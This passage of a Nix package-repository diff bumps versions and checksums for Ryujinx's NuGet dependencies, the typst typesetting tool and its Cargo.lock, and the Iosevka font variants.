  (fetchNuGet { pname = "Microsoft.TestPlatform.TestHost"; version = "17.9.0"; sha256 = "19ffh31a1jxzn8j69m1vnk5hyfz3dbxmflq77b8x82zybiilh5nl"; })
  (fetchNuGet { pname = "Microsoft.Win32.Primitives"; version = "4.0.1"; sha256 = "1n8ap0cmljbqskxpf8fjzn7kh1vvlndsa75k01qig26mbw97k2q7"; })
  (fetchNuGet { pname = "Microsoft.Win32.Registry"; version = "4.5.0"; sha256 = "1zapbz161ji8h82xiajgriq6zgzmb1f3ar517p2h63plhsq5gh2q"; })
-  (fetchNuGet { pname = "Microsoft.Win32.SystemEvents"; version = "8.0.0"; sha256 = "05392f41ijgn17y8pbjcx535l1k09krnq3xdp60kyq568sn6xk2i"; })
  (fetchNuGet { pname = "MsgPack.Cli"; version = "1.0.1"; sha256 = "1dk2bs3g16lsxcjjm7gfx6jxa4667wccw94jlh2ql7y7smvh9z8r"; })
  (fetchNuGet { pname = "NetCoreServer"; version = "8.0.7"; sha256 = "171mn5b56ikkjvsx3hvgmh3lga9c2ja31as0hnfr3040rdrj4ij5"; })
  (fetchNuGet { pname = "NETStandard.Library"; version = "1.6.0"; sha256 = "0nmmv4yw7gw04ik8ialj3ak0j6pxa9spih67hnn1h2c38ba8h58k"; })
@ -146,7 +145,7 @@
  (fetchNuGet { pname = "securifybv.ShellLink"; version = "0.1.0"; sha256 = "1v52d01590m8y06bybis6hlg296wk3y7ilqyh01ram62v5wrjvq2"; })
  (fetchNuGet { pname = "shaderc.net"; version = "0.1.0"; sha256 = "0f35s9h0vj9f1rx9bssj66hibc3j9bzrb4wgb5q2jwkf5xncxbpq"; })
  (fetchNuGet { pname = "SharpZipLib"; version = "1.4.2"; sha256 = "0ijrzz2szxjmv2cipk7rpmg14dfaigdkg7xabjvb38ih56m9a27y"; })
-  (fetchNuGet { pname = "ShimSkiaSharp"; version = "1.0.0.13"; sha256 = "1bkpx7zk5vh2rymam165kkqky2768nasgzqcil8kxzryqd853af4"; })
+  (fetchNuGet { pname = "ShimSkiaSharp"; version = "1.0.0.14"; sha256 = "0gdzvkrg63a4nqh4z2dxqiwmw07if08vdffmmgbck6j4nblx11qh"; })
  (fetchNuGet { pname = "Silk.NET.Core"; version = "2.16.0"; sha256 = "1mkqc2aicvknmpyfry2v7jjxh3apaxa6dmk1vfbwxnkysl417x0k"; })
  (fetchNuGet { pname = "Silk.NET.Vulkan"; version = "2.16.0"; sha256 = "0sg5mxv7ga5pq6wc0lz52j07fxrcfmb0an30r4cxsxk66298z2wy"; })
  (fetchNuGet { pname = "Silk.NET.Vulkan.Extensions.EXT"; version = "2.16.0"; sha256 = "05918f6fl8byla2m7qjp7dvxww2rbpj2sqd4xq26rl885fmddfvf"; })
@ -169,9 +168,9 @@
  (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.6"; sha256 = "1w2mwcwkqvrg4x4ybc4674xnkqwh1n2ihg520gqgpnqfc11ghc4n"; })
  (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.7"; sha256 = "119mlbh5hmlis7vb111s95dwg5p1anm2hmv7cm6fz7gy18473d7v"; })
  (fetchNuGet { pname = "SPB"; version = "0.0.4-build32"; sha256 = "0fk803f4llcc7g111g7wdn6fwqjrlyr64p97lv9xannbk9bxnk0r"; })
-  (fetchNuGet { pname = "Svg.Custom"; version = "1.0.0.13"; sha256 = "040w8xqjfyda8742387y0jq1bgs3m57id7qdgiwchv4860v7s97s"; })
-  (fetchNuGet { pname = "Svg.Model"; version = "1.0.0.13"; sha256 = "06ppak6gxyiq716zjf919zanl7kb2jwg5d8rhxf9f6fnyd5mjaiv"; })
-  (fetchNuGet { pname = "Svg.Skia"; version = "1.0.0.13"; sha256 = "0kr2hlrds1w38pilbq17jnc8xy37b7zis2m1sg6vqrsqp9blhlb7"; })
+  (fetchNuGet { pname = "Svg.Custom"; version = "1.0.0.14"; sha256 = "1x4cc9npxfl22wgy34pxglp7aja7h6q4vkc5ms0xknr2j9b7x5j6"; })
+  (fetchNuGet { pname = "Svg.Model"; version = "1.0.0.14"; sha256 = "03g343r1adaclnybj35p33bskwkn2scr9gka1l3cf13d3rz1hxal"; })
+  (fetchNuGet { pname = "Svg.Skia"; version = "1.0.0.14"; sha256 = "18rnn88gfkry72vzknwa89vfkclsn06hz4wqx3iy1x81pf1az4qq"; })
  (fetchNuGet { pname = "System.AppContext"; version = "4.1.0"; sha256 = "0fv3cma1jp4vgj7a8hqc9n7hr1f1kjp541s6z0q1r6nazb4iz9mz"; })
  (fetchNuGet { pname = "System.Buffers"; version = "4.0.0"; sha256 = "13s659bcmg9nwb6z78971z1lr6bmh2wghxi1ayqyzl4jijd351gr"; })
  (fetchNuGet { pname = "System.Buffers"; version = "4.3.0"; sha256 = "0fgns20ispwrfqll4q1zc1waqcmylb3zc50ys9x8zlwxh9pmd9jy"; })
@ -190,7 +189,6 @@
  (fetchNuGet { pname = "System.Diagnostics.DiagnosticSource"; version = "4.0.0"; sha256 = "1n6c3fbz7v8d3pn77h4v5wvsfrfg7v1c57lg3nff3cjyh597v23m"; })
  (fetchNuGet { pname = "System.Diagnostics.Tools"; version = "4.0.1"; sha256 = "19cknvg07yhakcvpxg3cxa0bwadplin6kyxd8mpjjpwnp56nl85x"; })
  (fetchNuGet { pname = "System.Diagnostics.Tracing"; version = "4.1.0"; sha256 = "1d2r76v1x610x61ahfpigda89gd13qydz6vbwzhpqlyvq8jj6394"; })
-  (fetchNuGet { pname = "System.Drawing.Common"; version = "8.0.2"; sha256 = "03rlk7wrx7469psz6f1qb8n5kb3s04ykzs2pn9ycia1sgj7vhi1z"; })
  (fetchNuGet { pname = "System.Dynamic.Runtime"; version = "4.3.0"; sha256 = "1d951hrvrpndk7insiag80qxjbf2y0y39y8h5hnq9612ws661glk"; })
  (fetchNuGet { pname = "System.Globalization"; version = "4.0.11"; sha256 = "070c5jbas2v7smm660zaf1gh0489xanjqymkvafcs4f8cdrs1d5d"; })
  (fetchNuGet { pname = "System.Globalization"; version = "4.3.0"; sha256 = "1cp68vv683n6ic2zqh2s1fn4c2sd87g5hpp6l4d4nj4536jz98ki"; })
--- a/pkgs/by-name/ry/ryujinx/package.nix
+++ b/pkgs/by-name/ry/ryujinx/package.nix
@ -25,13 +25,13 @@

 buildDotnetModule rec {
  pname = "ryujinx";
-  version = "1.1.1223"; # Based off of the official github actions builds: https://github.com/Ryujinx/Ryujinx/actions/workflows/release.yml
+  version = "1.1.1231"; # Based off of the official github actions builds: https://github.com/Ryujinx/Ryujinx/actions/workflows/release.yml

  src = fetchFromGitHub {
    owner = "Ryujinx";
    repo = "Ryujinx";
-    rev = "5a900f38c52269ee1282695e5e62a05269d0a478";
-    sha256 = "1s0w89f8vafr81hq1gs4sz6qlcqd11vy5580mrfngkry8g3bmgjs";
+    rev = "1217a8e69b9b4feadb34c2d38209d765c9542819";
+    sha256 = "1gr4cg7mbnvql7xxf9zwc0mi2a7575h28c4gfydpcdrvx0vaqknb";
  };

  dotnet-sdk = dotnetCorePackages.sdk_8_0;
--- a/pkgs/by-name/ty/typst/Cargo.lock
+++ b/pkgs/by-name/ty/typst/Cargo.lock
@ -501,16 +501,6 @@ dependencies = [
 "memchr",
 ]

-[[package]]
-name = "ctrlc"
-version = "3.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b467862cc8610ca6fc9a1532d7777cee0804e678ab45410897b9396495994a0b"
-dependencies = [
- "nix",
- "windows-sys 0.52.0",
-]
-
 [[package]]
 name = "data-url"
 version = "0.3.1"
@ -1406,17 +1396,6 @@ dependencies = [
 "tempfile",
 ]

-[[package]]
-name = "nix"
-version = "0.27.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053"
-dependencies = [
- "bitflags 2.4.2",
- "cfg-if",
- "libc",
-]
-
 [[package]]
 name = "notify"
 version = "6.1.1"
@ -2531,7 +2510,7 @@ checksum = "6af6ae20167a9ece4bcb41af5b80f8a1f1df981f6391189ce00fd257af04126a"

 [[package]]
 name = "typst"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "az",
 "bitflags 2.4.2",
@ -2592,13 +2571,13 @@ dependencies = [

 [[package]]
 name = "typst-assets"
-version = "0.11.0-rc1"
+version = "0.11.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e43b98ec1d7969c329e3735e597bbe5e69076445a570f9634b30c8dc01c704ae"
+checksum = "f13f85360328da54847dd7fefaf272dfa5b6d1fdeb53f32938924c39bf5b2c6c"

 [[package]]
 name = "typst-cli"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "chrono",
 "clap",
@ -2606,7 +2585,6 @@ dependencies = [
 "clap_mangen",
 "codespan-reporting",
 "comemo",
- "ctrlc",
 "dirs",
 "ecow",
 "env_proxy",
@ -2627,7 +2605,6 @@ dependencies = [
 "serde",
 "serde_json",
 "serde_yaml 0.9.32",
- "siphasher 1.0.0",
 "tar",
 "tempfile",
 "toml",
@ -2645,12 +2622,12 @@ dependencies = [

 [[package]]
 name = "typst-dev-assets"
-version = "0.10.0"
-source = "git+https://github.com/typst/typst-dev-assets?rev=c63ab46#c63ab467b6d2242b7993b81c1156b915486bcf02"
+version = "0.11.0"
+source = "git+https://github.com/typst/typst-dev-assets?tag=v0.11.0#e0ef7ad46f28a440c41bc8e78563ace86cc02678"

 [[package]]
 name = "typst-docs"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "clap",
 "comemo",
@ -2673,7 +2650,7 @@ dependencies = [

 [[package]]
 name = "typst-fuzz"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "comemo",
 "libfuzzer-sys",
@ -2685,7 +2662,7 @@ dependencies = [

 [[package]]
 name = "typst-ide"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "comemo",
 "ecow",
@ -2698,7 +2675,7 @@ dependencies = [

 [[package]]
 name = "typst-macros"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "heck",
 "proc-macro2",
@ -2708,7 +2685,7 @@ dependencies = [

 [[package]]
 name = "typst-pdf"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "base64 0.22.0",
 "bytemuck",
@ -2732,7 +2709,7 @@ dependencies = [

 [[package]]
 name = "typst-render"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "bytemuck",
 "comemo",
@ -2751,7 +2728,7 @@ dependencies = [

 [[package]]
 name = "typst-svg"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "base64 0.22.0",
 "comemo",
@ -2767,7 +2744,7 @@ dependencies = [

 [[package]]
 name = "typst-syntax"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "comemo",
 "ecow",
@ -2782,7 +2759,7 @@ dependencies = [

 [[package]]
 name = "typst-tests"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "clap",
 "comemo",
@ -2805,7 +2782,7 @@ dependencies = [

 [[package]]
 name = "typst-timing"
-version = "0.11.0-rc1"
+version = "0.11.0"
 dependencies = [
 "parking_lot",
 "serde",
--- a/pkgs/by-name/ty/typst/package.nix
+++ b/pkgs/by-name/ty/typst/package.nix
@ -11,19 +11,19 @@

 rustPlatform.buildRustPackage rec {
  pname = "typst";
-  version = "0.11.0-rc1";
+  version = "0.11.0";

  src = fetchFromGitHub {
    owner = "typst";
    repo = "typst";
    rev = "v${version}";
-    hash = "sha256-jOq+aoBSRUTXldg8iWGSJ1z0y+3KbhZfVAgjZo9IsGo=";
+    hash = "sha256-RbkirnVrhYT/OuZSdJWMOvQXAeBmsFICsCrezyT6ukA=";
  };

  cargoLock = {
    lockFile = ./Cargo.lock;
    outputHashes = {
-      "typst-dev-assets-0.10.0" = "sha256-EBOZbblbavtsr2LEnoIF0UFmpSsm8Sq7ibxxWcAMIHY=";
+      "typst-dev-assets-0.11.0" = "sha256-wTmux3GsUIU+PX6SO9rrQHr3korPFBeP/Z8byC97KUI=";
    };
  };

--- a/pkgs/data/fonts/iosevka/bin.nix
+++ b/pkgs/data/fonts/iosevka/bin.nix
@ -17,7 +17,7 @@ let
 in
 stdenv.mkDerivation rec {
  pname = "${name}-bin";
-  version = "28.1.0";
+  version = "29.0.1";

  src = fetchurl {
    url = "https://github.com/be5invis/Iosevka/releases/download/v${version}/PkgTTC-${name}-${version}.zip";
--- a/pkgs/data/fonts/iosevka/variants.nix
+++ b/pkgs/data/fonts/iosevka/variants.nix
@ -1,93 +1,93 @@
 # This file was autogenerated. DO NOT EDIT!
 {
-  Iosevka = "0c9b5hxqfi8jqbgdf5377l0xbga51j9h8hxi5yfa1zznqm1yp041";
-  IosevkaAile = "1xc43dinsikyr1q0br25kqlqknrahd8g0sxdphvm0f5chxrnysjk";
-  IosevkaCurly = "0v0r1xcgayzg7qb4r0apncpvc22faidbq5rrb5srb5nbaglrlkcm";
-  IosevkaCurlySlab = "1rj8xam8p8xx3slzsm3wg84cgzcg1mqsx2k9ww21ic21ckhr2b68";
-  IosevkaEtoile = "1hnjiqridfswlgzx2gx09nvmn2vj1iqzccxsv8bfddj9h3gxkqqv";
-  IosevkaSlab = "1ja18as85yww613nk4nxryy4mbvb1kgawx2fzh1wxw2g6jyqxdag";
-  IosevkaSS01 = "1a6im9ga2zm58ngf4wj19k9a6k971m9szj9ph8919mrpa5k66slb";
-  IosevkaSS02 = "1899hyy1snzbaj96vncv4qmd3ky3bbqqrxr54vmk49mx10fvq494";
-  IosevkaSS03 = "0lfkvd0rhw5yls31xhmd2vdwh51d16pyx9fq12kdy10syawlzfcy";
-  IosevkaSS04 = "101n098m6sckz3fp3xmd94d2yzpc4b1qhc7qn1g8kfk053ydg7jm";
-  IosevkaSS05 = "18j2rrs3m091f156b38jhlr3h83malgvsacidg5nkp09jcphfcsc";
-  IosevkaSS06 = "1jl1cxhqcj6an0z7ln2al105ayvhbrq1bs4a04zqg9j36wh67b86";
-  IosevkaSS07 = "0bzsg9zpwabp0hsp4d8v0ixzhzwm3m833g2326pc86aky50j1r3s";
-  IosevkaSS08 = "0gbmfddnfnc6g8zgfv3l3560j6ry9yky8l15kah2xx4ywzl561y1";
-  IosevkaSS09 = "1yfhh29k565kq7k2bnfci2mbkm0hb18r9h8cic2w4661fx9yb5vz";
-  IosevkaSS10 = "0q8xycxxvmzamhz2qsg0lzf1vgvcvs6pk854q3dwpc1xkp1592qb";
-  IosevkaSS11 = "0cxfbx1d28pval8gzka869b273vdaa88wqj6i6i4x1nss24kdyy9";
-  IosevkaSS12 = "0jax7xabzwb4visjg7b71gyqk5wx03x08scnmz92vq65sqd5i7yd";
-  IosevkaSS13 = "105fv8ilz579bqdyaynkngcsxfvx75smabns7vbj7vlkw3z39343";
-  IosevkaSS14 = "1d7gd3j158lk1dnv18ab1i1jfb9q18p977iypq95xy9yjyvs03s8";
-  IosevkaSS15 = "0nq2yi6ad1jk45k16br3rq4isy5cc1vb8pysbg4q2sswxm195j4a";
-  IosevkaSS16 = "0pqfqlv87ag0kfdnf7wqhnljby2a1nf44q0qaxamv2vkf0b14b55";
-  IosevkaSS17 = "132zqrl7z7c8z4bs74nyka8nx94hdzh41kg63rd8ynycj9wpg7p1";
-  IosevkaSS18 = "1chyqbynsgaxcgi0cf62g8b7h6hdkirfy05i8yh6rwwwa7bksp0l";
-  SGr-Iosevka = "123vpy4y51rp63q2biif7s2n1pb6s53r5zpsl3v0fx31lga5fqmb";
-  SGr-IosevkaCurly = "0n7xsxnkz1mrq9608vvm7sha7irr3zkxl92lj7nvkcp0fzsvj27k";
-  SGr-IosevkaCurlySlab = "08q7na9abvlnyds9kldgs4q6rpli4b6mb6xynxifgh0p2zqwvzby";
-  SGr-IosevkaFixed = "0y1yi6xn7zbp8ylg9i9y0l58a2fd2hvbplrv9l28b9rn4j5rlz1s";
-  SGr-IosevkaFixedCurly = "0bs83vis93myb6icixyz0nlzbk0iykdxc1m3jwqig8wmyl1d0rzq";
-  SGr-IosevkaFixedCurlySlab = "0gm00qjffx2rnwdm486jrhnv4f68g0lknfv05y0alm2nczn4nhh4";
-  SGr-IosevkaFixedSlab = "03xmgm5884496d6x1rsrcz3qg10j960zyqlwfawv33yr2yi1z7j8";
-  SGr-IosevkaFixedSS01 = "0dnprncmrl3pi6dkmcf7qgh90730zrfvpg32fjrm67svvjqlhnqk";
-  SGr-IosevkaFixedSS02 = "0yn9r3z0q328y0dk5mx4ik4cpsixmhg1fdsgqaznkwqwxgp687s4";
-  SGr-IosevkaFixedSS03 = "1bq5aq277ixnc6p1v0yf5l47kml1hh867zvv365wjz2wqdzg9zma";
-  SGr-IosevkaFixedSS04 = "0rbbm7b0ljr1l219ipq64a4vhpcsc68pp1y5n2a7vknnmg0al0hw";
-  SGr-IosevkaFixedSS05 = "11gs8zazljlayban6whjr8kbq40v0z6icn55iwn4spwfdri74p5p";
-  SGr-IosevkaFixedSS06 = "18pfxnpz5a78qis7ml1cq7s4y4h98d5zg0v8km6hgzmxan60rlhl";
-  SGr-IosevkaFixedSS07 = "0whgk33w9w1kjqy6lazc9p5azn9cjd2sy1cx2shvc8zqg60y5zjn";
-  SGr-IosevkaFixedSS08 = "189i1x7lk4r0q92g09badxl2ymf23fcsg80hpzlbpr84xqynsbnb";
-  SGr-IosevkaFixedSS09 = "04qp01is8piqsd4x7bn0aq63dhdvcg2b5hyd3m7xs6j9bfbxdb0a";
-  SGr-IosevkaFixedSS10 = "0xyw2z2gjs4qa1cwdf5zyman1d9c1imvdzlczc5vhikllfqxpagj";
-  SGr-IosevkaFixedSS11 = "05yqrn5zwgxrdn0g9cvd4i7km3r3xn5qdjakkywi3l8hi638qxj3";
-  SGr-IosevkaFixedSS12 = "0kl1wxiirpkd69x6zv3k5v2k0cgdh7sd288x05z5whgmx2cvlfpc";
-  SGr-IosevkaFixedSS13 = "1rb3l2i6k1974a26nkm7l3b2ky3wiwmcc9ia1sg0dcn0z8ckxapj";
-  SGr-IosevkaFixedSS14 = "15084jaxknbjf5xqhg21c5pv8w4hjma1h2x84wp5apqn4w6s4rza";
-  SGr-IosevkaFixedSS15 = "1dray6ywv2sj9hlm2mwx6zhbas2mhsd0q0lvmbyxldrwvapc749c";
-  SGr-IosevkaFixedSS16 = "1cikcxyv1jbw83wlvxcp3f5qivy0gklqzirpsfyj8q13nllqhq1h";
-  SGr-IosevkaFixedSS17 = "0mvmp4fx3rajd6l2370jc7mcn7fr6z3yh0zxz7haps7zhkbp9fgg";
-  SGr-IosevkaFixedSS18 = "1nkghw9j672q2k2y3hdlwj237lk31ig7860phbxx90nnxy9vpjhz";
-  SGr-IosevkaSlab = "011jcy2a2196b2lizz5qcf044rkh6hmfjpm171skiqidxndafpf4";
-  SGr-IosevkaSS01 = "0yndd4ry0mcm3h578y3azqnqx4iild2xxqgbwcxs995pc4n8i7mr";
-  SGr-IosevkaSS02 = "13p9674zv6xj2378i0lsg6g61g735zwgdjkq35cmhfavbmp4kgnf";
-  SGr-IosevkaSS03 = "1w9pnbs2xkmxggr76n8n2ikk5x7zha9na26dg2xdridhlvlzdwvm";
-  SGr-IosevkaSS04 = "1ds9mjx37ihhq60ysccmgj15vzhyl7jjkr1is6n76aqacjqxki0g";
-  SGr-IosevkaSS05 = "1n2jcpym1yzb7xwd86s2kq5gmqi1i83lvmdng0y4wmi09ak6njwi";
-  SGr-IosevkaSS06 = "08hd66f6fbgnxns9zbr6wjqcxqnmbs6mrrd66yrlsxx9xcz9vggx";
-  SGr-IosevkaSS07 = "1lrjvpcgvvanmajvdw91d7f3kwg4xmfmsq7x455mx06ni6c6yx1x";
-  SGr-IosevkaSS08 = "1m959d0hwb5v3ad483gaw7kzjzkws0p5y10gd337n5vsjsy3l1yj";
-  SGr-IosevkaSS09 = "1q15mgabvdh5bvl8i36807m0nl0aiglfrpa3bilrbbayvqsp4yhr";
-  SGr-IosevkaSS10 = "0nw7053361rb38w104yg31xib42v67n7zv3j8j7z0al0z5ypak35";
-  SGr-IosevkaSS11 = "1im7pad5alp9j80r6qvpps4fxpkf753c4c87mfy9bk1jvr60md8p";
-  SGr-IosevkaSS12 = "1nn353bqnx0wd2jp6k9pmf1h48nyakv29whpklp3vn53fy8dysjq";
-  SGr-IosevkaSS13 = "0d4drf8i6df0hf0m7fwapzncvjsy2165qfj0y0iggzr3v2bq8q71";
-  SGr-IosevkaSS14 = "1nccdwhn6kg6142x4w3r53slvs4x33ls54rhc818wvrnpbl08b75";
-  SGr-IosevkaSS15 = "1kgrj1my2i10qi13psdx3pljz93g4417fnm0d2b9nz9ha2d4zknh";
-  SGr-IosevkaSS16 = "1vsn37wkzc417li7xfx8bbcj2wn2pp9qmn60wzq8pj8isbgj4c5d";
-  SGr-IosevkaSS17 = "0c51rjmjqih87wnfiajhhc3b695dypr079v9dhz8rq2ic1r0dd5c";
-  SGr-IosevkaSS18 = "0cxr42gza3lrdph91nfpr0a9imxrr6n0pyzcmar65ix77r4wdy0q";
-  SGr-IosevkaTerm = "1q7pqpazlj1x140gib3gdzblwi3s6cywz1icf1xgwbm7mr8ab5g7";
-  SGr-IosevkaTermCurly = "0xpj52hps0l5iarcjxhammz2z8kqjjayi6vxnpz12hjbvfp6ldcj";
-  SGr-IosevkaTermCurlySlab = "0pxjn59fmsmqyirl6mpkhhl4yz4xb4n2mz7wg8lccrj2naz027sp";
-  SGr-IosevkaTermSlab = "0814zl1yy671jaiycwdwj21b15if1wdv0d08f3ja3qp97h5ppzwg";
-  SGr-IosevkaTermSS01 = "1kwc5rl1yybwxygsmxca3sk83281fbihf2k3pwabrz0jmw61s2rd";
-  SGr-IosevkaTermSS02 = "1srk77hn944vc6k66njrqs9wn9qw8kqgynw48y5w54vdii2ac9fb";
-  SGr-IosevkaTermSS03 = "0kl0xrbqn5a9ry1q6hxhawia09wa1vz8pjvkc22r54qz0l5mcw4i";
-  SGr-IosevkaTermSS04 = "0rm00brfqs97lhg3jqb8cvsin28a87pm7scf8vibh9pigg5h8vly";
-  SGr-IosevkaTermSS05 = "1ii53sp83wc3ljhapra4rfvbfglalg1rqg30ybkj7r4jfyx4jl98";
-  SGr-IosevkaTermSS06 = "1pc61w7c9ph0x5wxpz6bkfiisi2mvq8fnxzm7qnq1gbl5895d255";
-  SGr-IosevkaTermSS07 = "1nhilhhb4lr7hxaj9rzmrqw0bsfm7h54dmggrwsssld4pzy2crpg";
-  SGr-IosevkaTermSS08 = "16p0yx9b0xlsg0g0hyi42ccfc5z5ngmh31bsdivfxxdpmjsln3r6";
-  SGr-IosevkaTermSS09 = "1xky6d68nmhy3fzv91d616mzms2x4j0z6ahlj98bn70xns1bdp5y";
-  SGr-IosevkaTermSS10 = "05dp4lya900w8glcdm8dl47pic3c3w6i9xsqzbb0la8rz1hbrrwy";
-  SGr-IosevkaTermSS11 = "059wiqwm4vz1ddjn20jnd943s6zld1va13zmqx9hf2w77hsi4gm3";
-  SGr-IosevkaTermSS12 = "1swapdr2vr7xw4y63f7wrpgy271hx49cmng3pvsnrkw31rbdkf4f";
-  SGr-IosevkaTermSS13 = "00bcqr2yz1dg6hq9n23njy7vsj1hl06k6836h7krphnzy8rw5fx2";
-  SGr-IosevkaTermSS14 = "1wrqyq8i2dplivifsza6d4w87x9jhcqypyy3mli0gy8vvqr4f938";
-  SGr-IosevkaTermSS15 = "07rknhg3bmsyr8wnk1y8k5h6sjgbnx75xrx9yzbqgfx344x0p6c2";
-  SGr-IosevkaTermSS16 = "1gxmlqh9bnqw1izwmxvhiy717j7mmfqbywqi92y3cj8w1191n5r6";
-  SGr-IosevkaTermSS17 = "0w2c3k6yla9mkl263ypp96nhsydgnn2l3x2ddif0s75hv12qkbng";
-  SGr-IosevkaTermSS18 = "1gwnbw3pxwaj0pa223zqvdsx9pccc03c3f70y5dsq4c6fxfqaxzh";
+  Iosevka = "1nahnfmivrwdy64xk4lkm8lb3zhj3q6prb8fhwkz0fw9jrl90qd4";
+  IosevkaAile = "1vk1bimj83yfzn8p0ww0mcw65r7s7d0nhx1s01wvpjdszq5z01g1";
+  IosevkaCurly = "13z9a6szvvl2jp0l47j9mad1bhxwps17r5awkj4i17lpwnh2j09g";
+  IosevkaCurlySlab = "1z7m6317a2bkdxv59as3zhhzh2wx39nmpw3nhgnx2rg23hl1ykih";
+  IosevkaEtoile = "0zj6bvvpmdfh3p6agn1jlb2pc6701fqgql2dp1lpivlrb85k2d5l";
+  IosevkaSlab = "1cvv8fc3a3rgslh9zy6lsbpijapsqx3cqckncbjyv9y10n4lff7p";
+  IosevkaSS01 = "0lxnjv3z794hd9y7rxzgi6kz7dcmgr6605s73bxj2k2zwjaj25ca";
+  IosevkaSS02 = "0axhww5zmj4rdif5hp3rqx6k4jb4kypcw2ixzq9dw4p2kjffnhkc";
+  IosevkaSS03 = "0iamdny07rlzc621w5q1pkmdiw50fcfkg8xp21syw78g07ip492j";
+  IosevkaSS04 = "0zxwaqbdsj9agp30ign1fvb80y33lirfhi5bsc003dc7g3s250xg";
+  IosevkaSS05 = "1is00nvqvnam87hy6vdd36jmsznsphqn81cs3dia68q2bh6v73gk";
+  IosevkaSS06 = "077fyfzkg8mhjazwa9fjf9gnh7ifdqxg2ycnzxdyma0dn3222wx2";
+  IosevkaSS07 = "19idgw1aq440hk704b729zgxrsgxc7yi57s8wgjclmf7bbdx22mx";
+  IosevkaSS08 = "0r2jdljp4arc4j2xa3av17rg3fzhjh5w1y54idzzhv0wxkhq6jpv";
+  IosevkaSS09 = "0dr50svi8p7ndhch7v9m17fck5yha2xbf11aqi5dnx823xnp0gzk";
+  IosevkaSS10 = "17gzdnyy0zlzysmbl4gwk0mamk1qj3gnhhx0ka3wacpykcgm2q7q";
+  IosevkaSS11 = "1cksgn1a923n70mwd9npmlgnz4mxm5jscf0svh9058v3grzkqw9s";
+  IosevkaSS12 = "11dj6r3vlfa695p0g21rmyh6ilvkp2286x1379r1r2a1l7s265sy";
+  IosevkaSS13 = "0wlkpaix8zh7sxvwi6sp7qyrziylaa0h0s4981yap9pc3wgp6d9h";
+  IosevkaSS14 = "1znw5762hl4g7zwz7360akrnyzk5cvfl3y6sa82ljwv1a2fdhfm0";
+  IosevkaSS15 = "09srcc7zi5b5is75mh2d8r9p10dnmd1yd78vmykwngdlxyhsphwp";
+  IosevkaSS16 = "1jmq4qkvld2g0d4j83zfby0qccv0wnfpqnx269dxcp5pw9nkq6d6";
+  IosevkaSS17 = "0yrjxj8fshpycv87hpqx0f71z8g79r0qb3r6kw8gk8mqviiifp88";
+  IosevkaSS18 = "0nx2pfgrgxhii2mv5zya51dwmlyk448p2kgxn52g79yj57f63ycl";
+  SGr-Iosevka = "0rgpswnkb87rkfqh7jzd8z7jqj6l5prrnx5hpsbd55091qw29yfw";
+  SGr-IosevkaCurly = "0h5ny3vqy5il9542zkr5hxgrq5qx4ky0g67m4nf5whyi2n1b7i2v";
+  SGr-IosevkaCurlySlab = "179vll8ywfpxzadwm4w7x70aav7na33dii4mjhx6dxmdbw9mwxjq";
+  SGr-IosevkaFixed = "0pvxc8na5hvdgddwgkr3vsn8mr0j06z8vy3519fdjq9mianvf0h9";
+  SGr-IosevkaFixedCurly = "0y58azsbq9zw1fxmdi36z939ss8mz099iipg0wynmsyckvla8ida";
+  SGr-IosevkaFixedCurlySlab = "1mkh496pp8fggsqlriz7125lcnh0vjm81csipsrpq55c17hkdqwg";
+  SGr-IosevkaFixedSlab = "1ss0j0x4c8wi4swjgl7hain5qh9dnvldhgki8n0azmi1qrxv2isx";
+  SGr-IosevkaFixedSS01 = "1xvrzib1srnp4v5mxrp8vi38lap53jf402hgipmfmdac3zhzybzw";
+  SGr-IosevkaFixedSS02 = "0bd66z5h8vzmm16s54kf4n694cqxsvniwhd1vp25wifkspq2giij";
+  SGr-IosevkaFixedSS03 = "08dx6b58mjq3fy2dnvw68vb12pq7rsplrrxhz3fygx6nv2mc7rnn";
+  SGr-IosevkaFixedSS04 = "0nj66p91kldzwzvaq2nwsmdc4v2qv2b3rwvcv8ffk23sacy7bci6";
+  SGr-IosevkaFixedSS05 = "19n22pfqfz8b80hbw8sj0l0f19g1yi737wgxg82s221w2zrzjgri";
+  SGr-IosevkaFixedSS06 = "1m65l05qrv2in9idbx53ialg8wkrszb3y516cy39n8f7ish5rdhl";
+  SGr-IosevkaFixedSS07 = "1fyphdwa352nnzvbighgxjmg31dfrswfwx2akq56v1jbssk5vpfa";
+  SGr-IosevkaFixedSS08 = "0b0l1p62nxc5k46wqz8dih2b4gn96b5mgpnqr6m5nhb8n1ygwqik";
+  SGr-IosevkaFixedSS09 = "1in2wg4c3ggvi3r8x7fcd4jm1qsh10ppng025m8n57j9ziz0a3s9";
+  SGr-IosevkaFixedSS10 = "0m7arqxzb368pz1ns05szk159ir07h5yy9x436csjg8cnqsdw426";
+  SGr-IosevkaFixedSS11 = "0vz1lasrhqwkpfawvy0p5ygcr9xkg3am9xc7xmnfspvydjmf8s5l";
+  SGr-IosevkaFixedSS12 = "052yjy84jika9r6w1ivh6l13h9300rydaraxjhp6shgmdknd3qhn";
+  SGr-IosevkaFixedSS13 = "09qs91m4bc9dl4bipz0sfpmd5b0vly6ql01zvbn5n4kwh4591l53";
+  SGr-IosevkaFixedSS14 = "1x6jwx9daivf7mgjip9n3klprmvqm2s2dhg2alcbcmk9xk45ldzv";
+  SGr-IosevkaFixedSS15 = "0p6d53zk7agpjsrjx97dm5xk5j45xx4ynq034r61hdm9dagh9p9w";
+  SGr-IosevkaFixedSS16 = "1n4w7p4a8plq0fw5hvsq601z6zcrx1793s8snczxfy8sd1ggw68h";
